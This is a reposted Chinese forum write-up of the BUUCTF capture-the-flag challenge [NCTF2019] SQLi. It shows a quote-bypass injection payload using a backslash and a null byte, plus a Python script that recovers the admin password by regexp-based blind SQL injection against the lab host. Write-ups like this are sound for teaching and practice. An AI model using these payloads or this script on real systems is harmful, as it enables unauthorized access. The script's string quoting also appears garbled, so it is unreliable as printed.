ToB企服应用市场:ToB评测及商务社交产业平台
标题:
【BUUCTF】[NCTF2019]SQLi
[打印本页]
作者:
守听
时间:
9 小时前
标题:
【BUUCTF】[NCTF2019]SQLi
进入标题页面如下
是一个登录界面
尝试万能密码,错误
使用dirsearch目次扫描
发现robots.txt文件
访问robots.txt,发现hint.txt
里面提示了过滤的关键字
下面这行代码的意思是假如 `$_POST['passwd']` 等于管理员的密码, 那么你将得到标志(flag)
根据标题可以得出这是字符型注入,但是 ' 也被过滤
看到过滤了很多关键字,但是转义符好像没过滤,可以使用转义符构成闭合语句
passwd=||/**/1;%00&username=\
得到welcome.php文件
再看过滤了很多函数,但好像没有过滤regexp尝试regexp函数
脚本爆破密码
import requests
from urllib.parse import unquote
import string
def regexp_guess():
guessed_result = ""
possible_characters = string.ascii_lowercase + string.digits + '_'
target_url = "http://ed141fe7-706a-4558-bb83-02e719516467.node5.buuoj.cn:81/index.php"
for length in range(1, 100):
for char in possible_characters:
current_guess = guessed_result + char
payload = "||/**/passwd/**/regexp/**/"^{}";{}".format(current_guess, unquote('%00'))
data = {
"username": "\",
"passwd": payload
}
response = requests.post(target_url, data=data)
if "welcome.php" in response.text:
guessed_result = current_guess
break
print(guessed_result)
if __name__ == "__main__":
regexp_guess()
复制代码
代码解释
requests 用于发送 HTTP 哀求
unquote 用于 URL 解码,string 用于获取特定的字符集合
界说了一个名为 regexp_guess 的函数
guessed_result 用于存储逐步推测得到的结果,初始为空字符串
界说了大概用于推测的字符集合,包括小写字母、数字和下划线
发送哀求的目标 URL
外层的 for 循环控制推测结果的长度,从 1 到 100
内层的 for 循环遍历大概的字符
current_guess 是当前正在推测的字符组合,通过将新字符添加到之前的推测结果形成
构建 payload ,这是用于发送哀求的特定格式的数据
构建 data 字典,包含用户名和密码(即 payload )
使用 requests.post 向目标 URL 发送 POST 哀求,并将响应存储在 response 变量中
假如响应包含 "welcome.php" ,阐明推测是准确,更新 guessed_result 跳出内层循环
条件下调用 regexp_guess 函数来执行整个推测过程
得到密码
you_will_never_know7788990
用密码登录得到flag
最终的得到flag
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/)
Powered by Discuz! X3.4